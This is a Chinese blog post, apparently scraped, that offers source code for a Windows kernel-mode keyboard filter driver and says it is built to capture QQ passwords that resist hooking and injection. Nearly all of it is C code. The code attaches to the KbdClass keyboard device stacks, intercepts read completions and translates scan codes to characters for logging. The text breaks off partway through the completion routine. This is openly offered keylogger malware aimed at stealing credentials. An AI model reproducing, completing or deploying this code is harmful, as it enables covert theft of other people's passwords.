键盘记录器,可截获到 QQ 的password

        因为 QQ password做了特殊的保护,所以通过远程注入得到password框内容以及通过钩子来得到键盘消息均不能探測到 QQ 的password,可是通过对键盘驱动的过滤却是能够记录下 QQ password输入期间的内容。附上源代码。

#define DBG 1

#include <ntddk.h>
#include <ntstrsafe.h>

#include "KeyMonitor.h"

extern POBJECT_TYPE IoDriverObjectType;

PIO_STACK_LOCATION g_islCompletion;
int g_caps, g_shift, g_num;

unsigned char asciiTbl[]={
	0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
	0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
	0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
	0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
	0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
	0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
	0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
	0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
	0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
	0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
	0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
	0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
	0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E
};

NTSTATUS
ObReferenceObjectByName (
    __in PUNICODE_STRING ObjectName,
    __in ULONG Attributes,
    __in_opt PACCESS_STATE AccessState,
    __in_opt ACCESS_MASK DesiredAccess,
    __in POBJECT_TYPE ObjectType,
    __in KPROCESSOR_MODE AccessMode,
    __inout_opt PVOID ParseContext,
    __out PVOID *Object
    );



VOID KMUnload(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath);
NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
void KMPrintKey(UCHAR sch);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    int i = 0;

    KdPrint(("This is my driver, Henzox!\n"));

    pDriverObject->DriverUnload = KMUnload;

    for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) {
        pDriverObject->MajorFunction[i] = KMUnHandleIrp;
    } 

    pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;
    pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;
    pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;

    return KMAddDevice(pDriverObject, puServiceRegPath);
}

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)
{
    PDEVICE_OBJECT tmpDevice;
    PMY_DEVICE_EXTENSION myDeviceExtension;

    KdPrint(("The unload function is invoked!\n"));

    tmpDevice = pDriverObject->DeviceObject;
    while (tmpDevice) {
        PDEVICE_OBJECT nextDevice;

        KdPrint(("delete devobj: 0x%p.\n",tmpDevice));
        myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;
        // 假设还有完毕例程没有运行,则取消掉这个完毕例程
		if (myDeviceExtension->IslCompletion) {
		    myDeviceExtension->IslCompletion->CompletionRoutine = NULL;
            // 仅仅去掉与完毕例程相关的几个标志位。栈内的其他标志位很重要,不能去除
			myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);
		}
        IoDetachDevice(myDeviceExtension->AttachedTo);
        nextDevice = tmpDevice->NextDevice;
        IoDeleteDevice(tmpDevice);
        tmpDevice = nextDevice;
    }
}

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    
    KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));
    
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMOpenClose.\n"));

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    
    return STATUS_SUCCESS;
}

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);

    KdPrint(("KMPnp.\n"));
    
	switch (pIo->MinorFunction) {
	default:
        IoSkipCurrentIrpStackLocation(Irp);
        IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
        break;
    }

    return STATUS_SUCCESS;
}

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMPower.\n"));

    IoSkipCurrentIrpStackLocation(Irp);
    PoStartNextPowerIrp(Irp);
    return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    UNICODE_STRING usObjectName;
    PDRIVER_OBJECT KbdDriver;
    NTSTATUS status;
    PDEVICE_OBJECT tmpDevice, myDevice;
    UNICODE_STRING usDeviceName;
    WCHAR buff[64];
    int index = 0;
    PMY_DEVICE_EXTENSION DeviceExtension;

    RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");

    status = ObReferenceObjectByName(&usObjectName,
                                     OBJ_CASE_INSENSITIVE,
                                     NULL,
                                     0,
                                     IoDriverObjectType,
                                     KernelMode,
                                     NULL,
                                     (PVOID)&KbdDriver);
	if (!NT_SUCCESS(status)) {
        KdPrint(("Find the kbd class failed!\n"));
		return status;
    }

    tmpDevice = KbdDriver->DeviceObject;
    while (tmpDevice) {
		swprintf(buff, L"\\Device\\MyDevice%d", index++);
        RtlInitUnicodeString(&usDeviceName, buff);
        status = IoCreateDevice(pDriverObject,
                                sizeof(MY_DEVICE_EXTENSION),
                                &usDeviceName,
                                tmpDevice->DeviceType,
                                tmpDevice->Characteristics,
                                FALSE,
                                &myDevice);
        if (!NT_SUCCESS(status)) {
            ObDereferenceObject(KbdDriver);
			return status;
        }
        
        KdPrint(("devobj: 0x%p.\n",myDevice));

        IoAttachDeviceToDeviceStack(myDevice, tmpDevice);
        DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;
        DeviceExtension->AttachedTo = tmpDevice;
        /* Setup my device */
        myDevice->StackSize = tmpDevice->StackSize + 1;
        myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));			// 在 IoCreateDevice 时 Flags 会被赋于一些标志,这里应该保留这些标志,(如 DO_DEVICE_HAS_NAME 等。牵涉到引用计数)

        tmpDevice = tmpDevice->NextDevice;
    }

    ObDereferenceObject(KbdDriver);
    return STATUS_SUCCESS;
}

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;

    //KdPrint(("KMRead.\n"));

    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    IoCopyCurrentIrpStackLocationToNext(Irp);
    /* 仅仅有驱动能够保证在完毕例程被调用之前不被卸载的情况下,能够使用 IoSetCompletionRoutine,
	   假设你不能保证。那么就须要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/
	/*IoSetCompletionRoutine(Irp,
                           KMReadCompletion,
                           NULL,
                           TRUE,
                           TRUE,
                           TRUE);*/

    IoSetCompletionRoutineEx(DeviceObject,
                             Irp,
                             KMReadCompletion,
                             NULL,
                             TRUE,
                             TRUE,
                             TRUE);
    myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);

    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}


NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;
    PUCHAR buff;
    int len;

    //KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));
	/* 该次 IRP 的完毕例程已运行,栈会在该函数运行完时自己主动清空,所以不应该在引用该栈 */
    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    myDeviceExtension->IslCompletion = NULL;

	if (NT_SUCCESS(Irp->IoStatus.Status)) {
        // 因为设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区
        buff = Irp->AssociatedIrp.SystemBuffer;
        // 返回值一般都保存在 Information 中。即长度
        len = Irp->IoStatus.Information;

        if (buff[4] == 0) {
            /* 键盘被按下 */
			switch (buff[2]) {
			case 0x3A:
                g_caps = (g_caps == 1)?0:1;
                break;
			case 0x2A:
			case 0x36:
                g_shift = 1;
                break;
			case 0x45:
                g_num = (g_num == 1)?
上一篇:64位内核开发第一讲,驱动框架.


下一篇:PB调用JAVA